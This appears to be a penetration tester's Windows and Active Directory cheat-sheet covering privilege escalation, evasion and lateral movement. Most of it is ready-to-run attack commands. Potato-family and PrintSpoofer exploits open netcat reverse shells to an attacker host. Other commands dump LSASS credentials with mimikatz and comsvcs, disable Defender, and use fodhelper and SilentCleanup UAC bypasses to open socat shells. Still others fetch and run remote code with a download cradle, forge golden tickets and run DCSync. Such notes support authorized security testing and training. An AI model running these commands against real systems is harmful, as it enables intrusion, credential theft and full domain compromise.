Setting ConstantSetting NameStandard AssignmentDescription
SeNetworkLogonRightAccess this computer from the networkAdministrators, Authenticated UsersDetermines which users can connect to the device from the network. This is required by network protocols such as SMB, NetBIOS, CIFS, and COM+.
SeRemoteInteractiveLogonRightAllow log on through Remote Desktop ServicesAdministrators, Remote Desktop UsersThis policy setting determines which users or groups can access the login screen of a remote device through a Remote Desktop Services connection. A user can establish a Remote Desktop Services connection to a particular server but not be able to log on to the console of that same server.
SeBackupPrivilegeBack up files and directoriesAdministratorsThis user right determines which users can bypass file and directory, registry, and other persistent object permissions for the purposes of backing up the system.
SeSecurityPrivilegeManage auditing and security logAdministratorsThis policy setting determines which users can specify object access audit options for individual resources such as files, Active Directory objects, and registry keys. These objects specify their system access control lists (SACL). A user assigned this user right can also view and clear the Security log in Event Viewer.
SeTakeOwnershipPrivilegeTake ownership of files or other objectsAdministratorsThis policy setting determines which users can take ownership of any securable object in the device, including Active Directory objects, NTFS files and folders, printers, registry keys, services, processes, and threads.
SeDebugPrivilegeDebug programsAdministratorsThis policy setting determines which users can attach to or open any process, even a process they do not own. Developers who are debugging their applications do not need this user right. Developers who are debugging new system components need this user right. This user right provides access to sensitive and critical operating system components.
SeImpersonatePrivilegeImpersonate a client after authenticationAdministrators, Local Service, Network Service, ServiceThis policy setting determines which programs are allowed to impersonate a user or another specified account and act on behalf of the user.
SeLoadDriverPrivilegeLoad and unload device driversAdministratorsThis policy setting determines which users can dynamically load and unload device drivers. This user right is not required if a signed driver for the new hardware already exists in the driver.cab file on the device. Device drivers run as highly privileged code.
SeRestorePrivilegeRestore files and directoriesAdministratorsThis security setting determines which users can bypass file, directory, registry, and other persistent object permissions when they restore backed up files and directories. It determines which users can set valid security principals as the owner of an object.
SeTcbPrivilegeAct as part of the operating systemAdministrators, Local Service, Network Service, ServiceThis security setting determines whether a process can assume the identity of any user and, through this, obtain access to resources that the targeted user is permitted to access (impersonation). This may be assigned to antivirus or backup tools that need the ability to access all system files for scans or backups. This privilege should be reserved for service accounts requiring this access for legitimate activities.

Good Accounts

AccountDescription
NT AUTHORITY\SYSTEM / LocalSystemA highly privileged account with more privileges than a local administrator; used to run most Windows services. See LocalSystem account.
Built-in local AdministratorThe built-in local administrator account. Some organizations disable this account, but many do not. It is not uncommon to see this account reused across multiple systems in a client environment.
Local member of AdministratorsAnother local account in the local Administrators group. Any account in this group has the same privileges as the built-in Administrator account.
Domain user in local AdministratorsA standard (non-privileged) domain user who is part of the local Administrators group.
Domain admin in local AdministratorsA domain admin (highly privileged in Active Directory) that is part of the local Administrators group.

Good Groups

GroupDescription
Default AdministratorsDomain Admins and Enterprise Admins are “super” groups.
Server OperatorsMembers can modify services, access SMB shares, and backup files.
Backup OperatorsMembers are allowed to log onto DCs locally and should be considered Domain Admins. They can make shadow copies of the SAM/NTDS database, read the registry remotely, and access the file system on the DC via SMB. This group is sometimes added to the local Backup Operators group on non-DCs.
Print OperatorsMembers can log on to DCs locally and “trick” Windows into loading a malicious driver.
Hyper-V AdministratorsIf there are virtual DCs, any virtualization admins, such as members of Hyper-V Administrators, should be considered Domain Admins.
Account OperatorsMembers can modify non-protected accounts and groups in the domain.
Remote Desktop UsersMembers are not given any useful permissions by default but are often granted additional rights such as Allow Login Through Remote Desktop Services and can move laterally using the RDP protocol.
Remote Management UsersMembers can log on to DCs with PSRemoting (This group is sometimes added to the local remote management group on non-DCs).
Group Policy Creator OwnersMembers can create new GPOs but would need to be delegated additional permissions to link GPOs to a container such as a domain or OU.
Schema AdminsMembers can modify the Active Directory schema structure and backdoor any to-be-created Group/GPO by adding a compromised account to the default object ACL.
DNS AdminsMembers can load a DLL on a DC, but do not have the necessary permissions to restart the DNS server. They can load a malicious DLL and wait for a reboot as a persistence mechanism. Loading a DLL will often result in the service crashing. A more reliable way to exploit this group is to create a WPAD record.

File/Folder Permissions

Look for F, M, or W assigned to unprivileged groups.

CodeMeaningOffensive Value
FFull ControlJackpot. You can overwrite the file, read it, delete it, or change its permissions.
MModifyHigh. You can read, write, and delete the file. (Functionally identical to F for hijacking).
WWriteHigh. You can overwrite the file with a malicious payload (e.g., a reverse shell .exe).
RXRead & ExecuteNone (Usually). You can read the file and run it, but you cannot alter it.
RReadLow. Useful only for stealing configuration files or hardcoded credentials.
CodeMeaningContext
(I)InheritedThis permission wasn’t set on the file itself; it was passed down from the parent folder (e.g., C:\Program Files).
(OI)Object InheritApplied to a folder: All files inside will inherit this permission.
(CI)Container InheritApplied to a folder: All sub-folders inside will inherit this permission.
(IO)Inherit OnlyThis permission applies only to children, not the current folder itself.

Exploits

via Meterpreter session:

run post/multi/recon/local_exploit_suggester
via SeImpersonate
JuicyPotato

Needs SeImpersonate or SeAssignPrimaryToken

# NOTE: Upload JUPO and nc.exe
nc -lnvp <PORT>
c:\tools\JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe <ATTACKER_IP> <PORT> -e cmd.exe" -t *
RoguePotato/GodPotato/PrintSpoofer/PrintNightmare

Needs SeImpersonate (or equivalent for the tool chain). Upload the chosen binary and nc.exe (or use built-in shells where documented).

RoguePotato (usage): -r is the redirector (usually your attacker host); -e is the full command line; -l runs RogueOxidResolver locally on that port (all-in-one). Optional: -c {clsid}, -p / -z pipe name.

# Listener on attacker
nc -lnvp <PORT>

# All-in-one: RogueOxidResolver on victim, forward/OXID redirector at attacker
c:\tools\RoguePotato.exe -r <ATTACKER_IP> -e "cmd /c c:\tools\nc.exe <ATTACKER_IP> <PORT> -e cmd.exe" -l 9999

# Without local RogueOxidResolver: run RogueOxidResolver.exe on the remote/redirector machine (see repo), then e.g.:
c:\tools\RoguePotato.exe -r <ATTACKER_IP> -e "cmd /c c:\tools\nc.exe <ATTACKER_IP> <PORT> -e cmd.exe"

GodPotato (example): only -cmd is required; the tool supplies CLSID behavior internally.

nc -lnvp <PORT>

c:\tools\GodPotato.exe -cmd "cmd /c c:\tools\nc.exe <ATTACKER_IP> <PORT> -e cmd.exe"

# As in upstream README (nc connects out; adjust paths/nc flags to your binary)
c:\tools\GodPotato.exe -cmd "nc -t -e C:\Windows\System32\cmd.exe <ATTACKER_IP> <PORT>"

PrintSpoofer (usage): -c runs the command as SYSTEM; -i attaches an interactive SYSTEM process to the current console (bind/reverse/psexec-style shells).

nc -lnvp <PORT>

# Non-interactive: spawn and exit (WinRM/webshell-style) β€” matches upstream example
c:\tools\PrintSpoofer.exe -c "c:\tools\nc.exe <ATTACKER_IP> <PORT> -e cmd"

# Interactive: SYSTEM cmd in the same console (reverse/bind shell, psexec, etc.)
c:\tools\PrintSpoofer.exe -i -c cmd

PrintNightmare (usage): PowerShell via the Print Spooler (Invoke-Nightmare). By default, it creates local admin adm1n with password P@ssw0rd; use parameters to set custom credentials or load a custom DLL payload.

# Load the module
Import-Module .\CVE-2021-1675.ps1

# Custom local admin credentials
Invoke-Nightmare -DriverName "BackupService" -NewUser "svc_backup" -NewPassword "P@ssw0rd123!"

# Custom DLL payload path
Invoke-Nightmare -DLL "C:\bindshell.dll"
via SeDebug
See more about… LSASS

Source: Docs > 6 - Post-Exploitation > authentication-windows#lsass

LSASS

# Remotely dump LSA secrets
# NOTE: also requires **SeDebugPrivilege**
netexec smb <TARGET> --local-auth -u <USER> -p <PASSWORD> --lsa
# Remotely dump SAM secrets
netexec smb <TARGET> --local-auth -u <USER> -p <PASSWORD> --sam

NOTE: These require SeDebugPrivilege

Get LSASS memory dump via GUI:

  1. Open Task Manager
  2. Select Details > lsass.exe
  3. Right-Click > “Create Dump File”
  4. Move or transfer the file (usually in %TMP%)
# Get LSASS PID
tasklist /fi "IMAGENAME eq lsass.exe"
Get-Process lsass

# Dump
powershell -command "rundll32.exe C:\windows\system32\comsvcs.dll,MiniDump <PID> $env:TMP\crash.dmp full"

# Parse creds/hashes from dump
pypykatz lsa minidump <DUMP_FILE>
# OR
.\mimikatz.exe
log
sekurlsa::minidump crash.dmp
sekurlsa::logonpasswords
via SeTakeOwnership

NOTE: this is considered dangerous and destructive since not only can it be hard to revert but also could have unintended consequences and breakages for services that use the file

# Get file info
Get-ChildItem -Path '<FILE>' | Select Fullname,LastWriteTime,Attributes,@{Name="Owner";Expression={ (Get-Acl $_.FullName).Owner }}
# Or if that fails, check the folder ownership
cmd /c dir /q '<FOLDER>'

# Change ownership
takeown /f '<FILE>'

# OPTIONAL: grant *full* ACL permissions (e.g. READ)
icacls '<FILE>' /grant <USER>:F

Python

The following logic can be placed under a particular module’s function (ideally at the beginning of the function) to achieve a priv esc:

    import os
    os.system("id")
    os.system('ls -la /root/')

Wrong write permissions

# Check Python scripts itself
ls -la <PYTHON_FILE>
# Later check its imports

# See if imports are hookable
python3 -V
grep -r "def <FUNCTION>" /usr/local/lib/python3.8/dist-packages/<MODULE>/*

ls -l /usr/local/lib/python3.8/dist-packages/<MODULE>/__init__.py

Library Path

# Check Python library importation order
python3 -c 'import sys; print("\n".join(sys.path))'

# Check for module location
pip3 show <MODULE>

PYTHONPATH environment variable

# Sometimes the script or executable needs to be executed in a very specific manner
sudo -l

# Execute over-written function
sudo PYTHONPATH=/tmp/ /usr/bin/python3 <PYTHON_FILE>

Security Products

Windows

PowerShell

Bypass Execution Policy

# Get Current PS Execution Policy
Get-ExecutionPolicy -List

# Override
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process

Version Downgrade

Version 2 is nice because it has no AMSI and Script Block Logging.

# Show Shell's current PS Version
Get-Host

# Get ALL PS Version
reg.exe query "HKLM\SOFTWARE\Microsoft\PowerShell" /s | findstr /i "Version"

# PowerShell v2 Installed?
powershell.exe -version 2 -c "$PSVersionTable.PSVersion"

Constrained Language Mode

$ExecutionContext.SessionState.LanguageMode
# ConstrainedLanguage  = locked down
# FullLanguage         = no problems

Windows Defender

# Check WinDefend service
sc.exe query windefend

# Check Status
Get-MpComputerStatus

# Enable WinDefend
Set-MpPreference -DisableRealtimeMonitoring $false
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -command "Set-MpPreference -DisableRealtimeMonitoring $false"

# Disable WinDefend realtime monitoring
Set-MpPreference -DisableRealtimeMonitoring $true
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -command "Set-MpPreference -DisableRealtimeMonitoring $true"

Windows Firewall

# Show state of all profiles
netsh advfirewall show allprofiles
# Add Firewall Exception
netsh advfirewall firewall add rule name=<NAME> dir=in action=allow protocol=TCP localport=<PORT>

AppLocker

Built-in application whitelister. Commonly cmd.exe and powershell.exe will be blocked, but PowerShell lives in multiple locations:

# Get Rules
Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

User Account Control

NOTE: These works when UAC is NOT “Always Notify”

# msconfig
WIN+R > msconfig > Tools > Select "Command Prompt" > Launch

# azman.msc
Help > Help Topics > Right-Click > View Source > Show "All Files" > Search and Select "cmd.exe" > Right-Click > Open

# Fodhelper.exe w/ Socat
nc -nvlp <PORT>

set REG_KEY=HKCU\Software\Classes\ms-settings\Shell\Open\command
set CMD="powershell -windowstyle hidden C:\Tools\socat\socat.exe TCP:<ATTACKER_IP>:<PORT> EXEC:cmd.exe,pipes"
reg add %REG_KEY% /v "DelegateExecute" /d "" /f
reg add %REG_KEY% /d %CMD% /f & fodhelper.exe

whoami /groups
// success HIGH!

reg delete HKCU\Software\Classes\ms-settings\ /f
reg query %REG_KEY% /v ""

# WinDefend-Safe UAC Bypass w/ Socat
powershell.exe

$program = "powershell -windowstyle hidden C:\tools\socat\socat.exe <ATTACKER_IP>:<PORT> EXEC:cmd.exe,pipes"
New-Item "HKCU:\Software\Classes\.update\Shell\Open\command" -Force
Set-ItemProperty "HKCU:\Software\Classes\.update\Shell\Open\command" -Name "(default)" -Value $program -Force
New-Item -Path "HKCU:\Software\Classes\ms-settings\CurVer" -Force
Set-ItemProperty  "HKCU:\Software\Classes\ms-settings\CurVer" -Name "(default)" -value ".update" -Force
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
// success!

reg delete "HKCU\Software\Classes\.update\" /f
reg delete "HKCU\Software\Classes\ms-settings\" /f

# "Always Notify"-Safe UAC Bypass (but NOT WinDefend-Safe)
nc -lvnp <PORT>
           
reg add "HKCU\Environment" /v "windir" /d "cmd.exe /c C:\tools\socat\socat.exe <ATTACKER_IP>:<PORT> EXEC:cmd.exe,pipes &REM " /f
schtasks /run  /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I
// success!

reg delete "HKCU\Environment" /v "windir" /f

# Auto-Bypass (up-to-date)
# https://github.com/hfiref0x/UACME

C:\tools\UACME-Akagi64.exe 33

Local Administrator Password Solution (LAPS)

If using BloodHound check for ReadLAPSPassword in graph.

# Enumerate who can read LAPS
nxc smb <DC_IP> -u <USER> -p <PASS> --laps

# Dump the passwords (if able)
nxc smb <TARGET> -u <USER> -p <PASS> --laps

---

# OUT OF DATE
# https://github.com/leoloobeek/LAPSToolkit

wget https://raw.githubusercontent.com/leoloobeek/LAPSToolkit/refs/heads/master/LAPSToolkit.ps1

Import-Module LAPSToolkit.ps1

# Scans OUs for groups "LAPS Admins" that can read LAPS passwords on all computers in the OU
Find-LAPSDelegatedGroups
# Scans Computer Objects for who has "All Extended Rights" and read passwords
Find-AdmPwdExtendedRights
# Enum computers with LAPS extension and attempts password dump
Get-LAPSComputers

7 - Lateral Movement

Active Directory

See more about… Active Directory

Source: Docs > 2 - Pre-Engagement > checklist#active-directory

Active Directory

  • 1. Domain & Network Identification (Identify DC IP, Domain Name, Ports 53/88/389/445, net config workstation)
  • 2. User Enumeration (Build target list via Kerbrute, RID Cycling, or net user /domain)
  • 3. Initial Credential Acquisition (Run Responder for LLMNR/NBT-NS poisoning, check AS-REP Roasting)
  • 4. BloodHound Collection & Analysis (Run SharpHound, upload data, analyze “Shortest Paths” and “High Value Targets”)
  • 5. Service & Misconfiguration Hunting (Kerberoasting TGS, check SYSVOL/GPP for passwords, DNS/Printer Bug checks)
  • 6. ACL & Object Rights Analysis (Check for “Dangerous Rights” like GenericAll/WriteDACL via PowerView or BloodHound)
  • 7. Certificate Services (ADCS) Check (Enumerate vulnerable templates, Shadow Credentials/PyWhisker, Pass-the-Certificate)
  • 8. Access & Admin Validation (Check Local Admin rights, test RDP/WinRM access, verify “Double Hop” status)
  • 9. Lateral Movement (Execute Pass-the-Hash, Pass-the-Ticket, or Overpass-the-Hash to pivot)
  • 10. Domain Dominance (Perform DCSync to dump NTDS.dit, create Golden Tickets, enumerate Trusts)

Authentication Protocol Selection

MethodAuthentication ProtocolEncryptionLimitations
IP Address (e.g., 192.168.1.10)NTLMRC4, NTLMv2No Kerberos support, may be blocked by policies, more logging/alerting
Hostname/FQDN (e.g., DC01.cooldomaininc.local)Kerberos (TGT/TGS)AES-128, AES-256, RC4Requires DNS resolution, subject to Kerberos delegation restrictions (Double Hop problem)

Domain Enumeration

DC Port Cheatsheet
PortServiceRole / Why it identifies a DC
53DNSAlmost all DCs run DNS (AD Integrated DNS).
88KerberosThe Smoking Gun. Only KDCs (Domain Controllers) listen here.
389LDAPDirectory Access. Essential for AD.
445SMBRequired for SYSVOL (Group Policy) replication.
636LDAPSSecure LDAP (Indicates a Certificate is installed).
3268Global CatalogHigh Fidelity. Indicates the server has a full index of the Forest.
3269GC SSLSecure Global Catalog.
sudo nmap -n -Pn -p 53,88,389,445,636,3268,3269 --open -oA dc_hunt.txt -v <TARGET>
See more about… Network Info

Source: Docs > 7 - Lateral Movement > Lateral Movement#network-info

Network Info

# Linux
arp -a
cat /etc/hosts
ifconfig
ip a
nmcli dev show
ip r

# Windows
arp -a
type c:\Windows\System32\drivers\etc\hosts
ipconfig /all
netstat -r

Access Domain Names

For a box that is not joined to the domain, but has domain access, add the DC (or DNS server) to resolve DNS names.

Split DNS Resolution (w/ VPN)

# 1. Enable dnsmasq plugin (Global Config)
sudo cp /etc/NetworkManager/NetworkManager.conf /etc/NetworkManager/NetworkManager.conf.bak
sudo sed -i '/\[main\]/a dns=dnsmasq' /etc/NetworkManager/NetworkManager.conf

# 2. Create the Domain Rule (Persistent)
# Syntax: server=/domain.com/10.10.10.10
echo "server=/<FQDN>/<DNS_SERVER>" | sudo tee /etc/NetworkManager/dnsmasq.d/split_dns.conf

# 3. Restart NetworkManager to apply the plugin change
sudo systemctl restart NetworkManager

# 4. Configure the VPN Connection
# Replace <CONNECTION_NAME> with your VPN profile name (e.g., 'tun0' or 'lab_vpn')
sudo nmcli connection modify "<CONNECTION_NAME>" ipv4.dns ""
sudo nmcli connection modify "<CONNECTION_NAME>" ipv4.ignore-auto-dns yes
sudo nmcli connection modify "<CONNECTION_NAME>" ipv4.never-default yes

# 5. Reconnect VPN
sudo nmcli connection down "<CONNECTION_NAME>"
sudo nmcli connection up "<CONNECTION_NAME>"

All DNS Resolution (no Internet access)

# Configure the VPN connection to strictly use the Target DNS
sudo nmcli connection modify "<CONNECTION_NAME>" ipv4.dns "<DNS_SERVER>"
sudo nmcli connection modify "<CONNECTION_NAME>" ipv4.ignore-auto-dns yes

# Reconnect to apply
sudo nmcli connection down "<CONNECTION_NAME>"
sudo nmcli connection up "<CONNECTION_NAME>"

Verify

nslookup <TARGET>

Domain Information

# Get Domain Info
net config workstation
ipconfig /all
echo %USERDOMAIN%
$env:USERDOMAIN
echo %LOGONSERVER%
$env:LOGONSERVER
(Get-WmiObject Win32_ComputerSystem).Domain
(Get-CimInstance Win32_ComputerSystem).Domain   # PowerShell (modern; no WMI)
systeminfo

User Enumeration

“A tool to quickly bruteforce and enumerate valid Active Directory accounts through Kerberos Pre-Authentication”

See more about… User Enum

Source: Docs > 5 - Exploitation > online-credentials-attacks#user-enum

User Enum

  1. No creds: Try anonymous sessions
  2. Later: with credentials
See more about… Protocol Poisoners

Source: Docs > 5 - Exploitation > protocol-poisoners

These are a great way to passively enumerate or sniff for creds for traffic inside of the network.

AD Enumeration

See more about… BloodHound

Source: Docs > 9 - Notes > bloodhound#bloodhound

BloodHound

NOTE: sometimes the outputed zipfile doesn’t get properly ingested… trying extracting and uploading the individual JSON files

BloodHound is THE TOOL for AD enumeration. “[L]everages graph theory to reveal hidden and often unintended relationships across identity and access management systems…” visually along with other pre-built queries to find weakness in domain structures.

Pre-Requisites

wget https://github.com/SpecterOps/bloodhound-cli/releases/latest/download/bloodhound-cli-linux-amd64.tar.gz
tar -xvzf bloodhound-cli-linux-amd64.tar.gz

# Start and reset password for BloodHound via Docker
sudo systemctl enable --now docker
sudo ./bloodhound-cli install
./bloodhound-cli resetpwd

Collecting Info

# Bloodhound/SharpHound - AD Mapping
Import-Module .\Downloads\SharpHound.ps1    
Invoke-Bloodhound -ZipFileName bh_logs.zip -CollectionMethod All -Domain <DOMAIN> 
# - OR

# SharpHound.exe alternative
.\SharpHound.exe --zipfilename bh_logs.zip -c All -d <DOMAIN>

Uploading Info

  • Transfer Bloodhound data to attacker
  • Upload zipfile to Bloodhound: http://127.0.0.1:8080/ui/login
  • Upload to Bloodhound: http://127.0.0.1:8080/ui/administration/file-ingest

PowerShell (ADSI searcher)

Uses [System.DirectoryServices] (ADSI/LDAP) so it works from any domain-joined host without the Active Directory RSAT module.

# Equivalent to: Get-ADDomain (defaultNamingContext) β€” RootDSE and default naming context (reuse $defaultNC below)
$root = [ADSI]"LDAP://RootDSE"
$defaultNC = $root.defaultNamingContext.Value

# Equivalent to: Get-ADDomain β€” Basic domain info
$domain = [ADSI]"LDAP://$defaultNC"
$domain.Name

# Equivalent to: Get-ADUser -Filter {ServicePrincipalName -like "*"} -Properties ServicePrincipalName β€” Search for Kerberoastable accounts (requires Domain user)
# (request a TGS for a service in an attempt to crack the service's password, which its hash is used to encrypt the TGS)
$searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$defaultNC")
$searcher.Filter = "(&(objectCategory=user)(servicePrincipalName=*))"
$searcher.PropertiesToLoad.Add("servicePrincipalName") | Out-Null
$searcher.PropertiesToLoad.Add("samAccountName") | Out-Null
$searcher.FindAll()

# Equivalent to: Get-ADTrust β€” Domain trust relationships (trustedDomain objects under CN=System)
$sysNC = "CN=System," + $defaultNC
$trustSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$sysNC")
$trustSearcher.Filter = "(objectClass=trustedDomain)"
$trustSearcher.PropertiesToLoad.Add("name") | Out-Null
$trustSearcher.FindAll()

# Equivalent to: Get-ADGroup -Filter * β€” Group enumeration (all group names)
$searcher.Filter = "(objectCategory=group)"
$searcher.PropertiesToLoad.Clear(); $searcher.PropertiesToLoad.Add("samAccountName") | Out-Null
$searcher.FindAll() | ForEach-Object { $_.Properties["samaccountname"][0] }

# Equivalent to: Get-ADGroup -Identity <GROUP_NAME> β€” Single group by name
$searcher.Filter = "(&(objectCategory=group)(samAccountName=<GROUP_NAME>))"
$searcher.PropertiesToLoad.Add("distinguishedName") | Out-Null
$groupResult = $searcher.FindOne()
$groupDN = $groupResult.Properties["distinguishedname"][0]

# Equivalent to: Get-ADGroupMember -Identity <GROUP_NAME> β€” Group members (member attribute contains DNs)
$groupEntry = [ADSI]"LDAP://$groupDN"
$groupEntry.Properties["member"].Value

PowerView (deprecated)

Although “dated” code-wise and heavily flagged by Security Products the underlying LDAP queries have not changed, and it is still functional.

# Enum users
# https://powersploit.readthedocs.io/en/latest/Recon/Get-DomainUser/
Get-DomainUser -Identity <USER> -Domain <DOMAIN> | Select-Object -Property name,samaccountname,description,memberof,whencreated,pwdlastset,lastlogontimestamp,accountexpires,admincount,userprincipalname,serviceprincipalname,useraccountcontrol

# Enum Domain Admins
# https://powersploit.readthedocs.io/en/latest/Recon/Get-DomainGroupMember/
Get-DomainGroupMember -Identity "Domain Admins" -Recurse

# Enum Domain Trusts
Get-DomainTrustMapping

# Test Admin access locally or remotely
# https://powersploit.readthedocs.io/en/latest/Recon/Test-AdminAccess/
Test-AdminAccess -ComputerName <MACHINE>

# Kerberostable accounts
Get-DomainUser -SPN -Properties samaccountname,ServicePrincipalName

SharpView

.NET port of PowerView… usually has same functions and syntax. Useful when a host or network has PowerShell hardening.

Living Off the Land (Native Binaries)

Typically, these log less and not flagged as much as pulling external tools. Especially in offline or segmented environments these can be more useful.

See more about… Windows Defender, Windows Firewall

Source: Docs > 6 - Post-Exploitation > security-products#windows-defender

Windows Defender

# Check WinDefend service
sc.exe query windefend

# Check Status
Get-MpComputerStatus

# Enable WinDefend
Set-MpPreference -DisableRealtimeMonitoring $false
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -command "Set-MpPreference -DisableRealtimeMonitoring $false"

# Disable WinDefend realtime monitoring
Set-MpPreference -DisableRealtimeMonitoring $true
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -command "Set-MpPreference -DisableRealtimeMonitoring $true"

Source: Docs > 6 - Post-Exploitation > security-products#windows-firewall

Windows Firewall

# Show state of all profiles
netsh advfirewall show allprofiles
# Add Firewall Exception
netsh advfirewall firewall add rule name=<NAME> dir=in action=allow protocol=TCP localport=<PORT>

Initial Survey

DOS Version

# Am I Alone??
quser
qwinsta

# All-in-1 Info Command
systeminfo

# Hostname, Domain, DC, net interfaces, env vars
hostname
echo %USERDOMAIN%
echo %logonserver%
ipconfig /all
set
# OS Version
ver.exe
# Security Patches (Hotfixes)
wmic qfe get Caption,Description,HotFixID,InstalledOn

# Network Information
ipconfig /all
arp -a
route print
netstat -anob
netsh advfirewall show allprofiles

WMI Version

# Basic Host Info
wmic computersystem get Name,Domain,Manufacturer,Model,Username,Roles /format:List

# Basic Domain Info
wmic ntdomain get Caption,Description,DnsForestName,DomainName,DomainControllerAddress

# Security Patches
wmic qfe get Caption,Description,HotFixID,InstalledOn

# Process List
wmic process list /format:list

# Domain and DC Info
wmic ntdomain list /format:list

# Users on the Domain
wmic useraccount list /format:list

# Local Groups Info
wmic group list /format:list

# System Accounts Info
wmic sysaccount list /format:list

net Version

These could be potentially heavily monitored. Try net1 instead of net will execute the same functions without the potential trigger from the net string.

# Information about password requirements
net accounts

# Password and lockout policy
net accounts /domain

# Information about domain groups
net group /domain

# List users with domain admin privileges
net group "Domain Admins" /domain

# List of PCs connected to the domain
net group "Domain Computers" /domain

# List PC accounts of domains controllers
net group "Domain Controllers" /domain

# User that belongs to the group
net group <DOMAIN_GROUP> /domain

# List of domain groups
net groups /domain

# All available groups
net localgroup

# List users that belong to the administrators group inside the domain
net localgroup administrators /domain

# Information about a group (admins)
net localgroup Administrators

# Add user to administrators
net localgroup administrators <USER> /add

# Check current shares
net share

# Get information about a user within the domain
net user /domain <USER>

# List all users of the domain
net user /domain

# Information about the current user
net user %username%

# Mount the share locally
net use Z: \\<TARGET>\<SHARE>

# Get a list of computers
net view

# Shares on the domains
net view /all /domain[:<DOMAIN>]

# List shares of a computer
net view \\<TARGET> /ALL

# List of PCs of the domain
net view /domain

dsquery Version

Native tool to find AD objects. Only exists on hosts installed with Active Directory Domain Services Role and at C:\Windows\System32\dsquery.dll.

# Query all users or computers
dsquery user
dsquery computer

# Query filter for all users in a Domain
dsquery * "CN=Users,DC=<DOMAIN>,DC=<TOPLEVEL_DOMAIN>"

# Users With Specific Attributes Set (PASSWD_NOTREQD)
# 1.2.840.113556.1.4.803:=32 means PASSWD_NOTREQD must be set
dsquery * -filter "(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))" -attr distinguishedName userAccountControl

# Search DCs in Current Domain
dsquery * -filter "(userAccountControl:1.2.840.113556.1.4.803:=8192)" -limit 5 -attr sAMAccountName

# Search disabled accounts
dsquery * -filter "(&(objectCategory=user)(userAccountControl:1.2.840.113556.1.4.803:=2)(adminCount=1)(description=*))" -limit 5 -attr SAMAccountName description
User Account Control Bit Values

User Account Control Bit Values

PowerShell Version

See more about… Bypass Execution Policy
Get-Module
Get-ExecutionPolicy -List
Set-ExecutionPolicy Bypass -Scope Process
Get-ChildItem Env: | ft Key,Value
Get-Content $env:APPDATA\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt
# Pull any other tools via HTTP
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('<DOWNLOAD_URL>');"

Domain Trusts

# Search for trusts (ADSI – no RSAT required)
$root = [ADSI]"LDAP://RootDSE"
$defaultNC = $root.defaultNamingContext.Value
$sysNC = "CN=System," + $defaultNC
$searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]"LDAP://$sysNC")
$searcher.Filter = "(objectClass=trustedDomain)"
$searcher.PropertiesToLoad.Add("name") | Out-Null
$searcher.FindAll()

# Or use PowerView
Import-Module .\PowerView.ps1
Get-DomainTrust
Get-DomainTrustMapping
Get-DomainUser -Domain <DOMAIN> | select SamAccountName

netdom query /domain:<DOMAIN> trust

# Using netdom to query workstations and servers
netdom query /domain:<DOMAIN> workstation
See more about… Domain Trusts

Source: Docs > 9 - Notes > bloodhound#domain-trusts

Domain Trusts

  • Pre-built Query
  • Analysis > Domain Information > Map Domain Trusts

Abusing access between Domain Trusts

This normally occurs when a privileged user is migrated from one domain to another, and there is no SID filtering in place.

The following are required to do this attack via Mimikatz:

  • child domain’s
    • KRBTGT hash
      • (Linux) or privileged user creds that can access the domain
    • SID
    • FQDN
    • name of a target user (does not need to exist!)
  • root domain’s
    • SID of the Enterprise Admins group

via Windows

# Obtaining the KRBTGT Account's NT Hash using Mimikatz and Domain SID
.\mimikatz.exe 'lsadump::dcsync /user:<DOMAIN>\krbtgt'

## REMEMBER: above this SID is for the user... but it contains the domain/group portion. Just cut off the number after the last '-' section

Import-Module .\PowerView.ps1
Get-DomainSID

# Obtaining Enterprise Admins Group's SID using Get-DomainGroup
Get-DomainGroup -Domain <DOMAIN> -Identity "Enterprise Admins" | select distinguishedname,objectsid

# BEFORE: Verify no ticket
klist
ls \\<DC_FQDN>\c$

# Create GOLDEN TICKET
# NOTE: the user matters only for logging
.\mimikatz.exe 'kerberos::golden /ptt /user:<USER> /domain:<TARGET_DOMAIN> /sid:<TARGET_DOMAIN_SID> /krbtgt:<KRBTGT_HASH> /sids:<TARGET_SID>'

# AFTER: Verify ticket creation and no access
klist
ls \\<DC_FQDN>\c$

===

# Rubeus method
.\Rubeus.exe golden /rc4:<KRBTGT_HASH> /domain:<TARGET_DOMAIN> /sid:<TARGET_DOMAIN_SID> /sids:<TARGET_SID> /user:<USER> /ptt

# Then DCSYNC attack via Mimikatz
lsadump::dcsync /user:<DOMAIN>\<USER> /domain:<TARGET_DOMAIN>

via Linux

Individually…

# Performing DCSync with secretsdump.py
secretsdump.py <DOMAIN>/<USER>:'<PASSWORD>'@<DC_IP> -just-dc-user <TARGET_DOMAIN>/krbtgt

# Domain SID
lookupsid.py <DOMAIN>/<USER>:'<PASSWORD>'@<DC_IP> | grep "Domain SID"

# GOLDEN TICKET attack
ticketer.py -nthash <KRBTGT_HASH> -domain <TARGET_DOMAIN> -domain-sid <TARGET_DOMAIN_SID> -extra-sid <TARGET_SID> <USER>
export KRB5CCNAME="$(pwd)/<USER>.ccache"

# !!! use something like psexec to access !!!

…or all-in-one script, but with GREAT CAUTION and UNDERSTANDING how this could negatively impact the target

# NOTE: will prompt for password
raiseChild.py -target-exec <DC_IP> <TARGET_DOMAIN>/<USER>

# can use administrator hash from output to secretsdump.py for a user

Access Control List (ACL)

  • ObjectAceType Permissions: https://learn.microsoft.com/en-us/windows/win32/adschema/extended-rights

  • ForceChangePassword abused with Set-DomainUserPassword

  • Add Members abused with Add-DomainGroupMember

  • GenericAll abused with Set-DomainUserPassword or Add-DomainGroupMember

  • GenericWrite abused with Set-DomainObject

  • WriteOwner abused with Set-DomainObjectOwner

  • WriteDACL abused with Add-DomainObjectACL

  • AllExtendedRights abused with Set-DomainUserPassword or Add-DomainGroupMember

  • AddSelf abused with Add-DomainGroupMember

